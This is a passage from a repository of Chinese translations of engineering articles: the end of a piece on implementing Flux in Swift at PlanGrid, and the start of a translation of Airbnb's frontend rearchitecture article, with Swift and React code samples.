AnnotationFilterType\n      }\n\n      /// Navigates to details of a filter group.\n      struct EnterFilterGroup: AnyAction {\n        let filterGroup: AnnotationFilterGroupType\n      }\n\n      /// Leaves detail view of a filter group.\n      struct LeaveFilterGroup: AnyAction { }\n\n      /// Disables all filters.\n      struct ResetFilters: AnyAction { }\n\n      /// Disables all filters within a filter group.\n      struct ResetFiltersInGroup: AnyAction {\n        let filterGroup: AnnotationFilterGroupType\n      }\n    }\n```\n\n\n甚至没有一个对这个特性深入认识，它也是能被理解的，状态由 `action` 来转换。众多 `Flux` 架构中的一个好处是，这个 `actions` 的列表是一个所有状态改变的全方位的概述，它能被触发用于这个特别的特性。\n\n#### 第三步: 在 `store` 中实现对 `Actions` 的响应\n\n我们在这一步中实现这个特性的核心业务逻辑。我个人想使用 `TDD` 开发方式，我将在之后讨论。这个 `store` 能用以下内容总结:\n\n1. 用 `dispatcher` 注册对所有 `actions`　感兴趣的 `store`。当前的例子中，它是所有的 `AnnotationFilteringActions`。\n2. 实现一个处理函数，它将被每一个单独的 `actions` 调用。\n3. 在这个处理函数中，执行必要的业务逻辑和在完成后更新状态。\n\n最为一个例子，我们能看一下 `AnnotationFilterStore`　怎么处理 `toggleFilterAction`。\n\n```\n    func handleToggleFilterAction(toggleFilterAction: AnnotationFilteringActions.ToggleFilterAction) {\n      var filter = toggleFilterAction.filter\n      filter.enabled = !filter.enabled\n\n      // Check for issue specific filters\n      if filter is IssueAssignedToFilter ||\n        filter is IssueStatusAnnotationFilter ||\n        filter is IssueAssignedToFilter ||\n        filter is IssueUnassignedFilter {\n          // if no annotation types are filtered, activate the issue/punchItem type\n          var issueTypeFilter = self._annotationFilterService.annotationTypeFilterGroup.issueTypeFilter\n          if self._annotationFilterService.annotationTypeFilterGroup.activeFilterCount() == 0 ||\n              issueTypeFilter?.enabled == false {\n                issueTypeFilter?.enabled = true\n          }\n      }\n\n      self._applyFilter()\n    }\n```\n\n这个例子并不是那么简单。所以让我们一点一点分解。每当 `ToggleFilterAction` 被分发的时候，`handleToggleFilterAction` 就被调用。`ToggleFilterAction`　携带了哪个具体的过滤器需要被切换的消息。\n\n作为一个实现这个业务逻辑的开端，这个方法简单地通过切换 `filter.enabled`　这个值来切换过滤器。\n\n之后，我们对这个特性，实现了一些定制化的业务逻辑。当配合使用那些过滤有问题的注释的过滤器的时候，我们需要去激活 `issueTypeFilter`。没有必要深入讨论这个 `PlanGrid` 特有的特性，但是这个方法封装了一些和开关触发器有关的业务逻辑。\n\n在这个方法的结尾，我们调用 `_applyFilter()` 方法。这是一个共享方法，它被很多 `action`　处理函数中使用:\n\n```\n  func _applyFilter() {\n    self._annotationFilterService.applyFilter()\n\n    self._state.value?.isFiltering = self._annotationFilterService.allFilterGroups.reduce(false) { isFiltering, filterGroup in\n      isFiltering || (filterGroup.activeFilterCount() > 0)\n    }\n\n    // Phantom state update to refresh the cell state, technically not needed since filters are reference types\n    // and previous statement already triggers a state update.\n    self._state.value = self._state.value\n  }\n```\n\n调用 `self._annotationFilterService.applyFilter()` 真正触发了注释过滤器在页面上显示。过滤器的逻辑本身是有点复杂的，所以把它移动一个独立的，专门的类型中。 \n\n每一个 `store`　的角色是提供状态信息，它与相关的 `UI` 和成为关联点为了状态的更新。这并不意味着整个业务逻辑需要被实现在 `store` 本身。\n\n每一个 `action` 处理函数最后一步是更新状态。在 `_applyFilter()` 方法中，我们正在更新 `isFiltering` 状态值通过检查是否任何过滤器正在被激活。\n \n还有一个需要注意的事情是有关这个特别的 `store`: 你可能期望看到一个外部的状态更新，去更新过滤器的值，它存储在 `AnnotationFilterState`。一般来说，这是我们如何去实现我们的 `stores`的方式，但是这个实现方式有一点特别。\n\n由于存在 `AnnotationFilterState` 中的过滤器需要与很多现存的 `Objective-C` 代码交互，我们决定将他们模型成类。这意味着他们是引用类型并且 `store` 和注释过滤器 `UI` 共享一个对同一个实例的引用。反过来意味着在`store`内所有发生在过滤器上的变化，也对 `UI` 是可见的。一般来说，我们尝试避免这个，通过只在我们的状态结构中使用值类型 - 但是这篇文章是有关真实世界的 `Flux`　并且在这个特别的例子中，为了让 `Objective-C`　交互更容易被接受而妥协。\n\n如果过滤器是值类型，我们需要对更新过的过滤器的值赋值到我们的状态属性，为了让 `UI` 观察到这个变化。由于我们在这里使用了引用类型，我们执行一个幽灵状态更新：\n\n\n```\n  // Phantom state update to refresh the cell state, technically not needed since filters are reference types\n  // and previous statement already triggers a state update.\n  self._state.value = self._state.value\n```\n\n\n这个对 `_state`　属性赋值的任务将会开启更新 `UI` 的策略 - 一会我们将讨论这个过程的细节。\n\n我们已经深入足够了解实现的细节了，所以我想暂告这一个部分，并提醒有关高层次 `store`　的责任:\n\n1. 用 `dispatcher` 注册 `store`，对所有 `actions` 感兴趣的。在当前的例子中，它就是 `AnnotationFilterActions`。\n2. 实现一个处理函数，它将会被每个单独的 `actions` 调用。\n3. 在这个处理函数中，执行必要的业务逻辑并且在完成后更新状态。\n\n让我们移步到讨论 `UI`　怎么接收到来自　`store`　的状态更新。\n\n#### 第四步: 将 `UI` 绑定到 `Store` \n\n每当一个状态更新（的事件）发生， 自动更新 `UI` 的机制就被触发, 这是 `Flux` 的一个核心理念。它保证了 `UI` 始终显示最新的状态，并且可以摆脱一直需要（手动地）维护这些代码的工作。这一步类似于在 `MVVM` 架构中，将一个视图绑定到 `ViewModel`。\n\n有很多中方式实现这个 - 我们决定在 `PlanGrid`中，使用 `ReactiveCocoa` 使得 `store` 提供一个可见的 `state` 属性。下面就是 `AnnotationFilterStore`　怎么去实现这个模式的方法:\n\n\n```\n  /// The current `AnnotationFilterState`, this should be observed within the view layer.\n  let state: SignalProducer<AnnotationFilterState?, NoError>\n  /// Internal state.\n  let _state: MutableProperty<AnnotationFilterState?> = MutableProperty(nil)\n```\n\n`_state` 属性被用于在 `store` 内改变状态。`state`　属性被客户端使用于订阅 `store` 的消息。这允许 `store`　信息的订阅者们接收到状态的更新，但是并不允许他们直接改变状态。(状态的改变只能通过 `actions` 发生!)。\n\n在初始化中，内部可被观察的属性仅仅简单的绑定到外部信号发生器:\n\n\n\n```\n  self.state = self._state.producer\n```\n\n\n现在，任何 `_state` 的更新将会自动将最新的状态值通过信号发生器发送给并且存储在 `state`　中。\n\n仅剩下的就是通过代码确认，每当一个新的 `state`　值被发出，`UI` 都更新了。这算得上当开始在 `iOS` 上使用 `Flux` 模式最复杂的部分之一了。在网页上，`Flux` 能很好的和 `Facebook` (脸书) 的 `React` 框架配合。`Recat`　是为处理以下特性场景而设计的:\n\n当配合 `UIKit` 时，我们没有这个至宝，相反我们需要自己手工实现 `UI` 的更新。我不能在这篇文章里深入讨论这个实现的细节，否则这篇文章将会太冗长。我们的底线是为 `UITableView` 和 `UICollectionView`　创建一些类似于 `React API` 提供的调用接口，我们将在之后的文章里提到他们。\n\n如果你想要学习更多这些组件的内容，你可以去看 [我最近提到的](https://skillsmatter.com/skillscasts/8179-turning-uikit-inside-out)，也可以看看这两个 `GitHub` 代码库( [`AutoTable`](https://github.com/Ben-G/AutoTable), [`UILib`](https://github.com/Ben-G/UILib))。\n\n让我们再看看实际的代码 (我们摘选了部分代码)，从注释过滤器这个特性中。这段代码存在于 `AnnotationFilterViewController` 中:\n\n\n```\n  func _bind(compositeDisposable: CompositeDisposable) {\n    // On every state update, recalculate the cells for this table view and provide them to\n    // the data source.\n    compositeDisposable += self.tableViewDataSource.tableViewModel  self.store.state\n      .ignoreNil()\n      .map { [weak self] in\n        self?.annotationFilterViewProvider.tableViewModelForState($0)\n      }\n      .on(event: { [weak self] _ in\n        self?.tableViewDataSource.refreshViews()\n      })\n\n  compositeDisposable += self.store.state\n      .ignoreNil()\n      .take(1)\n      .startWithNext { [weak self] _ in\n        self?.tableView.reloadData()\n      }\n\n   compositeDisposable += self.navigationItem.rightBarButtonItem!.racEnabled  self.store.state\n      .map { $0?.isFiltering ?? false }\n  }\n```\n\n\n我们在代码库中遵循着一个准则，每一个视图控制器都有一个 `_bind`　方法，它被 `viewWillAppear` 调用。这个 `_bind` 方法负责订阅 `store` 的状态并且提供当状态变化发生时候，提供更新 `UI` 的代码。\n\n由于我们需要我们自己实现部分 `UI` 更新的代码并且不能依靠类似 `React` 的框架，这个方法，一般来说，需要包含描述一个特定的状态更新如何映射到 `UI` 更新的代码。`ReactiveCocoa` 是非常便利的，因为它提供了很多操作 (`skipUntil`，`take`，`map`，其他。)，很容易就能创建这些关系。如果你之前没有使用过 `Reactive` 的库，这些代码可能会让你感到困惑 - 这一小部分的 `ReactiveCocoa` 代码学起来很快。\n\n在例子中的第一行 `_bind` 方法确保了，每当一个状态发生更新的时候，表视图能获得这个更新。我们使用 `ReactiveCocoa` 中 `ignoreNil()` 操作符，来确保我们不会为一个空状态启动了更新。之后，我们使用 `map` 操作符将最新的状态从 `store` 中映射到表述图应该变成什么样的描述符。\n\n这个映射通过 `annotationFilterViewProvider.tableViewModelForState` 方法发生。这也是我们自定义的类似 `React` 的 `UIKit` 包装器参与作用的地方。\n\n我不会深入讨论所有的实现细节，但是 `tableViewModelForState` 方法看上去是这样的:\n\n\n```\n    func tableViewModelForState(state: AnnotationFilterState) -> FluxTableViewModel {\n\n      let hideEverythingSection = FluxTableViewModel.SectionModel(\n        headerTitle: nil,\n        headerHeight: nil,\n        cellViewModels: AnnotationFilterViewProvider.cellViewModelsForGroup([state.hideEverythingFilter])\n      )\n\n      let shareStatusSection = FluxTableViewModel.SectionModel(\n        headerTitle: \"annotation_filters.share_status_section.title\".translate(),\n        headerHeight: 28,o\n        cellViewModels: AnnotationFilterViewProvider.cellViewModelsForGroup(state.shareStatusFilters)\n      )\n\n      let issueFilterSection = FluxTableViewModel.SectionModel(\n        headerTitle: \"annotation_filters.issues_section.title\".translate(),\n        headerHeight: 28,\n        cellViewModels: AnnotationFilterViewProvider.cellViewModelsForGroup(state.issueFilters)\n      )\n\n      let generalFilterSection = FluxTableViewModel.SectionModel(\n        headerTitle: \"annotation_filters.general_section.title\".translate(),\n        headerHeight: 28,\n        cellViewModels: AnnotationFilterViewProvider.cellViewModelsForGroup(state.generalFilters)\n      )\n\n      return FluxTableViewModel(sectionModels: [\n        hideEverythingSection,\n        shareStatusSection,\n        issueFilterSection,\n        generalFilterSection\n      ])\n    }\n```\n\n\n`tableViewModelForState` 是一个接收最新状态作为它的输入并且返回一个表视图的描述符，以 `FluxTableViewModel` 的形式。这个方法的实现想法类似于 `React` 的渲染方法。`FluxTableViewModel` 完全独立于 `UIKit`，它也是描述表格内容的一个简单的结构。你能在开源的 [AutoTable 代码库](https://github.com/Ben-G/AutoTable/blob/master/AutoTable/AutoTable/TableViewModel.swift) 中发现这个实现。\n\n这个方法的结果，之后绑定到视图控制器的 `tableViewDataSource` 属性。存储在这个属性中的组件，会负责基于 `FluxTableViewModel` 提供的信息来更新 `UITableView`。\n\n其他的绑定代码会比较容易，比如，负责基于 `isFiltering` 状态来开启/关闭 `Clear Filter` 的按钮。\n\n\n```\n    compositeDisposable += self.navigationItem.rightBarButtonItem!.racEnabled  self.store.state\n      .map { $0?.isFiltering ?? false }\n```\n\n\n实现 `UI` 绑定的过程是比较复杂的部分之一，由于它不能与 `UIKit` 的编程模型完美配合。但它只需要花一点精力写出一些自定义的组件，就能简单些。从我们的经验来看，我们通过实现这些自定义组件节省了很多研发时间，而不是一定要保持经典的 `MVC` 实现方式，在那些在多个视图控制器需要重复实现 `UI` 更新的地方。 \n\n有了这些 `UI` 的绑定方法，我们讨论实现 `Flux` 特性的最后一个部分。由于我们已经掌握了很多内容，我想要快速回顾下之前的内容，在我们继续讨论如何测试这些 `Flux` 特性之前。\n\n#### 回顾\n\n当实现一个 `Flux` 模式特性的时候，我们需要将工作分为以下几个部分:\n\n1. 定义状态类型的形状。\n2. 定义 `actions`。\n3. 实现业务逻辑和针对每个 `action` 状态的转变 - 这个实现在 `store` 中。\n4. 实现 `UI` 绑定方法，将状态映射到视图展示层。\n\n这些已经包括了所有我们讨论过的有关实现的细节。\n\n让我们继续讨论如何测试 `Flux` 特性。\n\n### 撰写测试\n\n有一个 `Flux` 主要的好处是，它把有关的内容严格的区分开。这让测试业务逻辑和大块的 `UI` 代码变得非常容易。\n\n每一个 `Flux` 特性都有两个重要的区域需要被测试:\n\n1. 在 `store` 中的业务逻辑\n2. 视图模型的提供者 （就是那些我们实现的类似 `React` 的方法，他们基于输入的状态描述了 `UI`。）\n\n#### 测试 `stores`\n\n测试 `stores` 很简单。我们能通过插入 `actions` 到 `stores` 驱动交互，并且我们能通过订阅 `store` 或者观察在我们测试用的内部 `_state` 属性来观察状态的变化。 \n\n另外，我们能模拟其他外部的类型，那些,`store` 可能需要去交互的内容，为了实现某一个特性(可能是一个 `API` 的客户端或者数据对象)并且在 `store` 的初始化器中注入这些。这允许我们去验证，那些类型是否被如期调用。 \n\n在 `PlanGrid`中，我们使用 `Quick` 和 `Nimble` 以反应样式来写测试代码。以下是一个简单的例子，来自于注释过滤器，保存某一个 `action`:\n\n\n```\n    describe(\"toggling a filter\") {\n\n      var hideAllFilter: AnnotationFilterType!\n\n      beforeEach {\n        hideAllFilter = annotationFilterService.hideAllFilterGroup.filters[0]\n        let toggleFilterAction = AnnotationFilteringActions.ToggleFilterAction(filter: hideAllFilter)\n        annotationFilterStore._handleActions(toggleFilterAction)\n      }\n\n      it(\"toggles the selected filter\") {\n        expect(hideAllFilter.enabled).to(beTrue())\n      }\n\n      it(\"enables filtering mode\") {\n        expect(annotationFilterStore._state.value?.isFiltering).to(beTrue())\n      }\n\n      context(\"when subsequently resetting filters\") {\n\n        beforeEach {\n          annotationFilterStore._handleActions(AnnotationFilteringActions.ResetFilters())\n        }\n\n        it(\"deactivates previously active filters and stops filter mode\") {\n          expect(hideAllFilter.enabled).to(beFalse())\n          expect(annotationFilterStore._state.value?.isFiltering).to(beFalse())\n        }\n\n      }\n  }\n```\n\n再一次强调，有关测试 `stores` 将会被放在其他文章里，所以我们也不会深入讨论过多细节。然而，测试的方式已经很清楚了。我们把 `actions` 发送给 `store`并且验证响应，以改变状态或者模拟注入代码的形式。\n\n（你会对为什么我们在 `store` 中调用 `_handleActions`，而非使用 `dispatcher` 来分配感到好奇。起初，我们使用异步 `dispatcher`，当有 `actions` 需要被分配时，这也意味着我们的测试方法也需要是异步调用的。因此，我们直接在 `store` 中直接调用处理函数。因此，这个 `dispatcher` 的实现方式也变了，所以我们在我们的测试中使用 `dispatcher`。 ）\n\n当实现 `store` 中的业务逻辑的时候，我总会先写我的测试代码。我们的代码结构能很好的配合 `TDD` 开发过程。\n\n#### 测试视图\n\n`Flux` 架构结合我们申明的 `UI` 层能让测试视图变得非常容易。我们也一直在内部讨论有关我们想要覆盖(测试)多少的视图的话题。\n\n实际上，所有我们的视图代码都是相当清晰的。它绑定了在 `store` 中的状态到我们不同 `UI` 层的属性上。对于我们的应用程序，我们决定通过 `UI` 自动测试机制来覆盖我大部分的代码。\n\n然而，也有很多其他选择。由于视图层被设定去渲染一个注入的状态，快照测试也工作得非常好。有很多快照测试的讨论和文章，[包括一个非常好的在 `objc.io` 上的文章](https://www.objc.io/issues/15-testing/snapshot-testing/)。\n\n对于我们的应用程序，我们的 `UI` 自动测试已经足够了，所以我们不需要其他的快照测试。\n\n我们也尝试使用单元测试在我们的视图方法上（例如，早些时候我们看到的 `tableViewModelForState` 方法）。这些视图提供者，映射一个状态到 `UI` 描述符，所以他们能基于输入和返回值被很容易的测试，我发现，这些测试并不能增加很多价值，因为他们仅仅是复制了申明过的实现了的描述符。）\n\n使用 `Flux` 架构在视图测试熵变得非常简单，因为视图的代码独立于其他的应用程序的实现。你只需要注入一些状态，他们应该被反映在你的测试中，并且他们处理的很好。\n\n就如我们所见，的确有很多其他的方法可以测试 `UI`,我对我们（其他开发者），从长远来看，会选择哪一个很感兴趣。\n\n## 总结\n\n在我们深入讨论了那么多的实现细节之后，我想总结下目前我们的经验和教训。\n\n我们只使用了 `Flux` 架构 6 个月左右，但是我们已经能看到很多给我们代码库带来的好处:\n\n* 新的特性能被一致性的实现。贯穿于多个特性间的，`stores` , 视图提供者和视图控制器的结构几乎保持一致（完全相同）。\n* 通过监视状态，`actions` 和 `TDD` 的测试框架，几分钟之内，就能很容易的理解，某一个特性是怎么工作得。\n* 我们很好的分离了 `stores` 和视图之间的关系。对于某个代码是否应该存在没有模糊的界定。\n* 我们的代码阅读起来很简单。状态和视图之间的以来关系总是非常明确。这也让调试工作轻松愉快。\n* 所有以上的优点，都让新来的开发者门更容易上手工做。\n\n显而易见，我们也遇到了一些**痛点**:\n\n* 首先，集成 `UIKit` 组件有一点麻烦。不像 `React` 组件， `UIKit` 视图不提供 `API` 基于一个新的状态容易的更新自己。这部分的工作完全依赖与我们自己，我们需要实现手动绑定视图的工作或者自定义的组件，对 `UIKit` 二次开发。\n* 并不是所有我们的新代码都严格遵守了 `Flux` 模式。例如，我们还没有解决实现能与 `Flux` 配合工作的导航/路由系统。我们需要集成一个 [坐标模式](http://khanluo.com/2015/10/coordinators-redux/) 进入我们的 `Flux` 架构，或者使用一个与 [ReSwift 路由器](https://github.com/ReSwift/ReSwift-Router) 相似的。\n* 我们需要想出一个在大型应用程序中共享状态的好的模式，(如文章一开始讨论的，\"什么是 `Store` 的作用域？\")。我们需要在原版的 `Flux` 架构中，增加 `stores` 之间的依赖关系么？ 我们还有其他选择么？\n\n还有很多，很多的实现细节，优点和缺点，我想我会在之后的文章里深入讨论他们。\n\n至此，我对目前的选择很满意，并且我希望这篇文章能给你们一些参考，是否 `Flux` 架构也对你适合。\n\n最后，如果你对 `Flux` 在 `Swift` 上的实现感兴趣，或只想为我们的产品贡献一份你的力量共同成就一个巨大的产业。**[我们正在招聘](http://grnh.se/8fcutd)**。\n\n非常感谢 [@zats](https://twitter.com/zats), [@kubanekl](https://twitter.com/kubanekl) 和 [@pixelpartner](https://twitter.com/pixelpartner)，感谢他们为这个文章进行校对。\n\n**参考文献**:\n\n*   [Flux](https://facebook.github.io/flux/) - `Facebook` (脸书) 的官方讨论 `Flux` 的网站\n*   [Unidirectional Data Flow in Swift](https://realm.io/news/benji-encz-unidirectional-data-flow-swift/) - 有关 `Swift` @ `Redux` 概念和 `ReSwift` 的实现方式\n*   [ReSwift](https://github.com/reswift/reswift) - 一个以 `Swift` 实现的 `Redux`\n*   [ReSwift Router](https://github.com/ReSwift/ReSwift-Router) - 一个给 `ReSwift` 用的路由应用程序\n"
  },
  {
    "path": "TODO/rearchitecting-airbnbs-frontend.md",
    "content": "> * 原文地址：[Rearchitecting Airbnb’s Frontend](https://medium.com/airbnb-engineering/rearchitecting-airbnbs-frontend-5e213efc24d2)\n> * 原文作者：[Adam Neary](https://medium.com/@AdamRNeary)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者：[sunui](https://github.com/sunui)\n> * 校对者：[Dalston Xu](https://github.com/xunge0613)、[yzgyyang](https://github.com/yzgyyang)\n\n# Airbnb 的前端重构 #\n\n概述：最近，我们重新思考了 Airbnb 代码库中 JavaScript 部分的架构。本文将讨论：（1）催生一些变化的产品驱动因素，（2）我们如何一步步摆脱遗留的 Rails 解决方案，（3）一些新技术栈的关键性支柱。彩蛋：我们将透露一下未来的发展方向。\n\n\nAirbnb 每天处理超过 7500 万次搜索，这使得搜索页面成为我们流量最高的页面。近十年来，工程师们一直在发展、加强和优化 Rails 输出页面的方式。\n\n最近，我们转移到了主页以外的垂直页面，[来介绍一些体验和去处](https://www.airbnb.com/new)。作为 web 端新增产品的一部分，我们花时间重新思考了搜索体验本身。\n\n![](https://cdn-images-1.medium.com/max/800/1*VMRwDmHVeYC3YnJhhtKn4Q.gif)\n\n在一个用于宽泛搜索的路由之间过渡\n\n为了使用户体验流畅，我们选择调整用户浏览页面和缩小搜索范围的交互方式，而不再采用以前那样的多页交互方式：（1）首先访问着陆页 [www.airbnb.com](http://www.airbnb.com)，（2）接着进入搜索结果页，（3）随后访问某个列表页，（4）最后进入预订流程。**每个页面都是一个独立的 Rails 页面**。\n\n![](https://cdn-images-1.medium.com/max/800/1*epBwi0kxrcW5a6Wv-T4rSg.gif)\n\n设计三种浏览搜索页的状态：新用户、老用户和营销页。\n\n在标签页之间切换和与列表进行交互应该感到惬意而轻松。事实上，如今没有什么可以阻止我们在中小屏幕上提供与原生应用一致的体验。\n\n\n![](https://cdn-images-1.medium.com/max/800/1*y_gKoEDVvBvJpGq7hfcr_g.gif)\n\n会考虑将来在切换标签页时，异步加载相应内容\n\n为了实现这种体验，我们需要摆脱传统的页面切换方法，最终我们只好全面重构了前端代码。\n\n[Leland Richardson](https://medium.com/@intelligibabble) [最近在 React Conf 大会上发表了演讲，称 React Native 如今正处于和现有的高访问量原生应用共存的“褐色地带”](https://www.youtube.com/watch?v=tWitQoPgs8w)这篇文章将会探讨如何在类似的限制条件下进行 web 端重构。希望你在遇到类似情况时，这篇文章对你有所帮助。\n\n### 从 Rails 之中解脱 ###\n\n在我们的烧烤开火之前，因为我们的线路图上存在所有有趣的[渐进式 web 应用](https://developers.google.com/web/progressive-web-apps/)（WPA），我们需要从 Rails 中解脱出来（或者至少在 Airbnb 用 Rails 提供单独页面的这种方式）。\n\n不幸的是，就在几个月前，我们的搜索页还包含一些非常老旧的代码，像指环王一样，触碰它就要小心自负后果。有趣的事实：我曾尝试用一个简单的 React 组件来替换基于 Rails presenter 的 [Handlebars](http://handlebarsjs.com/) 模板，突然很多完全不相关的部分都崩掉了 —— 甚至 API 响应都出了问题。原来，presenter 改变了底层 Rails 模型，多年来即使在 UI 没有渲染的时候，它也影响着所有的下游数据。\n\n简而言之，我们在这个项目中，就好像 Indiana Jone 用一袋沙子替换了宝物，突然间庙宇开始崩塌，我们正在从石块中奔跑。\n\n\n\n#### 第 1 步： 调整 API 数据 ####\n\n当使用 Rails 在服务器端渲染页面时，你可以用任何你喜欢的方式把数据丢给服务器端的 React 组件。Controllers、helpers 和 presenters 能生成任何形式的数据，甚至当你把部分页面迁移到 React 时，每个组件都能处理它所需的任何数据。\n\n但一旦你想渲染客户端路由，你需要能够以预定的形式动态请求所需的数据。将来我们可能用类似 [GraphQL](http://graphql.org/) 的东西解决这个问题，但是现在暂且把它放到一边吧，因为这件事和重构代码没太大关系。相反，我们选择在我们的 API 的 “v2” 上进行调整，我们需要我们所有的组件来开始处理规范的数据格式。\n\n如果你自己和我们处在类似的情况中，在维护一个大型的应用，你可能发现我们像我们这样做，规划迁移现有的服务器端数据管道是很容易的。只需在任何地方用 Rails 渲染一个 React 组件，并确保数据输入是 API 所规定的类型。你可以用客户端的 React PropTypes 来进一步验证数据类型是否与 API v2 一致。\n\n对我们来说棘手的问题是和那些参与客户预定流程交互的团队协作：商业旅游、发展、度假租赁团队；中国和印度市场团队，灾难恢复团队等等，我们需要重新培训所有这些人，即使在技术上可以将数据直接传递到正在呈现的组件上(\"是的，我明白，这仅仅是一种实验，但是...\")，**所有的数据**都要通过 API。\n\n#### 第 2 步： 非 API 数据: 配置、试验、惯用语、本地化、国际化… ####\n\n有一类独特的数据和我们设想的 API 化的数据不同，包括应用配置、用户试验任务、国际化、本地化等等类似的问题。近年来，Airbnb 已经建立了一套很棒的工具来支持这些功能，但是把这些数据传送到前端的机制就不那么令人愉快了（在革命开始之前，或许就已经很蹩脚了！）。\n\n我们使用 [Hypernova](https://www.npmjs.com/package/hypernova)  在服务端渲染渲染 React，但是在我们此次重构深入之前，无论服务端渲染时 React 组件中的试验交付会不会爆发或者客户端上提供的字符串转换是否都可以在服务器上可靠地使用，这些都还有点模糊。最重要的是，如果服务器和客户端输出匹配不到位，页面不仅会不断闪烁刷新 diff，还会在加载后重新渲染整个页面，这对于性能来说很可怕。\n\n更糟糕的是，我们很久以前写过一些神奇的 Rails 功能，比如 `add_bootstrap_data(key, value)` 表面上可以在 Rails 中的任何地方调用，通过 `BootstrapData.get(key)` 使数据在客户端的全局可用（再次强调，对 Hypernova 来说已经不必要了）。曾经这些小工具对小团队来说很实用，但如今随着团队规模扩大，应用规模扩张，这些小工具反而变成了累赘。由于每个团队拥有不同的页面或功能，因此“数据清洗”变得越来越棘手，因此每个团队都会培养出一种不同的加载配置的机制，以满足其独特需求。\n\n显然， 这套机制已经崩溃了，所以我们融合了一个用于引导非 API 数据的规范机制，我们开始将所有应用程序和页面迁移到 Rails 和 React/Hypernova 之间的这种切换。\n\n```\nimport React, { PropTypes } from 'react';\nimport { compose } from 'redux';\n\nimport AirbnbUser from '[our internal user management library]';\nimport BootstrapData from '[our internal bootstrap library]';\nimport Experiments from '[our internal experiment library]';\nimport KillSwitch from '[our internal kill switch library]';\nimport L10n from '[our internal l10n library]';\nimport ImagePaths from '[our internal CDN pipeline library]';\nimport withPhrases from '[our internal i18n library]';\nimport { forbidExtraProps } from '[our internal propTypes library]';\n\nconst propTypes = forbidExtraProps({\n  behavioralUid: PropTypes.string,\n  bootstrapData: PropTypes.object,\n  experimentConfig: PropTypes.object,\n  i18nInit: PropTypes.object,\n  images: PropTypes.object,\n  killSwitches: PropTypes.objectOf(PropTypes.bool),\n  phrases: PropTypes.object,\n  userAttributes: PropTypes.object,\n});\n\nconst defaultProps = {\n  behavioralUid: null,\n  bootstrapData: {},\n  experimentConfig: {},\n  i18nInit: null,\n  images: {},\n  killSwitches: {},\n  phrases: {},\n  userAttributes: null,\n};\n\nfunction withHypernovaBootstrap(App) {\n  class HypernovaBootstrap extends React.Component {\n    constructor(props) {\n      super(props);\n\n      const {\n        behavioralUid,\n        bootstrapData,\n        experimentConfig,\n        i18nInit,\n        images,\n        killSwitches,\n        userAttributes,\n      } = props;\n\n      // 清除服务器上的引导数据，以避免泄露数据\n      if (!global.document) {\n        BootstrapData.clear();\n      }\n      BootstrapData.extend(bootstrapData);\n      ImagePaths.extend(images);\n\n      // 在测试中用空对象调用 L10n.init 是不安全的\n      if (i18nInit) {\n        L10n.init(i18nInit);\n      }\n\n      if (userAttributes) {\n        AirbnbUser.setCurrent(userAttributes);\n      }\n\n      if (userAttributes && behavioralUid) {\n        Experiments.initializeGlobalConfiguration({\n          experiments: experimentConfig,\n          userId: userAttributes.id,\n          visitorId: behavioralUid,\n        });\n      } else {\n        Experiments.setExperiments(experimentConfig);\n      }\n\n      KillSwitches.extend(killSwitches);\n    }\n\n    render() {\n      // 理想情况下，我们只想通过 bootstrapData 传输数据 \n      // 如果你使用 redux 或从服务端转换数据到 bootstrap，你其实可以将数据当作一个键值(key)传入 bootstrapData，其他属性被使用但是不会传入 app 。\n      return <App bootstrapData={this.props.bootstrapData} />;\n    }\n  }\n\n  Bootstrap.propTypes = propTypes;\n  Bootstrap.defaultProps = defaultProps;\n  const wrappedComponentName = App.displayName || App.name || 'Component';\n  Bootstrap.displayName = `withHypernovaBootstrap(${wrappedComponentName})`;\n\n  return Bootstrap;\n}\n\nexport default compose(withPhrases, withHypernovaBootstrap);\n```\n\n用于引导非 API 数据规范的更高阶的组件\n\n\n这个非常高阶的组件做了两件更重要的事情：\n\n1. 它接收一个引导数据作为普通的旧对象的规范形式，并且正确地初始化所有支持的工具，用于服务器渲染和客户端渲染。\n2. 它吞噬除了 `bootstrapData` 的一切 ，它是另一个简单的对象，必要时把 `<App>` 组件传入 Redux 作为 children 使用。\n\n单纯来看，我们删除了 `add_bootstrap_data`，并阻止工程师将任意键传递到顶级的 React 组件。秩序被重新恢复，以前我们在客户端中动态地导航到路由，并且渲染材料复杂的 content，而不需要Rails来支持它。\n\n### 进击的前端 ###\n\n服务端的重构已经有了头绪，现在我们把目光转向客户端。\n\n#### 懒加载的单页面应用 ####\n\n那段日子已经过去了，朋友们，初始化时带着可怕 loading 的巨型单页面应用（SPA）已经不复存在了。当我们提出用 React Router 做客户端路由的方案时，可怕的 loading 是很多人提出拒绝的理由。\n\n![](https://cdn-images-1.medium.com/max/800/1*O2fK16vfyWaDT-IR61drPw.png)\n\n在 Chrome Timeline 中 route 包的懒加载\n\n但是，再看看上文，你就会发现路由对[代码分割](https://webpack.github.io/docs/code-splitting.html)和[延迟加载](https://webpack.js.org/guides/lazy-load-react/)进行捆绑造成的影响。实质上，我们在服务端渲染页面并且仅仅传输最低限度的一部分用于在浏览器端交互的 Javascript 代码，然后我们利用浏览器的空余时间主动下载其余部分。\n\n在 Rails 端，我们有一个 controller 用于通过 SPA 交付的所有路由。每一个 action 只负责：（1）触发客户端导航中的一切请求，（2）将数据和配置引导到 Hypernova。我们把每个 action （controller、helpers 和 presenters 之间）都有上千行的 Ruby 代码缩减到 20-30 行。实力碾压。\n\n但这不仅仅是代码的不同...\n\n![](https://cdn-images-1.medium.com/max/800/1*EpKNHdS4Xzl9fRdGekUgEA.gif)\n\n两种方式加载东京主页的对比（4-5 倍的差距）\n\n...现在页面间的过渡像奶油般顺滑，并且这一步大幅提升了速度（约 5 倍）。而且我们我们可以实现文章开头的那张动画特性。\n\n#### 异步组件 ####\n\n在（采用）React 之前，我们需要一次渲染整个页面，我们以前的 React 都是这么做的。但现在我们使用异步组件，类似[这种](https://medium.com/@thejameskyle/react-loadable-2674c59de178)方式， 挂载（mount）以后加载组件层次结构的部分。\n\n```\nexport default class AsyncComponent extends React.Component {\n  constructor(props) {\n    super(props);\n    this.state = {\n      Component: null,\n    };\n  }\n\n  componentDidMount() {\n    this.props.loader().then((Component) => {\n      this.setState({ Component });\n    });\n  }\n\n  render() {\n    const { Component } = this.state;\n    // `loader` 属性没有被使用。 它被提取，所以我们不会将其传递给包装的组件\n    // eslint-disable-next-line no-unused-vars\n    const { renderPlaceholder, placeholderHeight, loader, ...rest } = this.props;\n    if (Component) {\n      return <Component {...rest} />;\n    }\n\n    return renderPlaceholder ?\n      renderPlaceholder() :\n      <WrappedPlaceholder height={placeholderHeight} />;\n  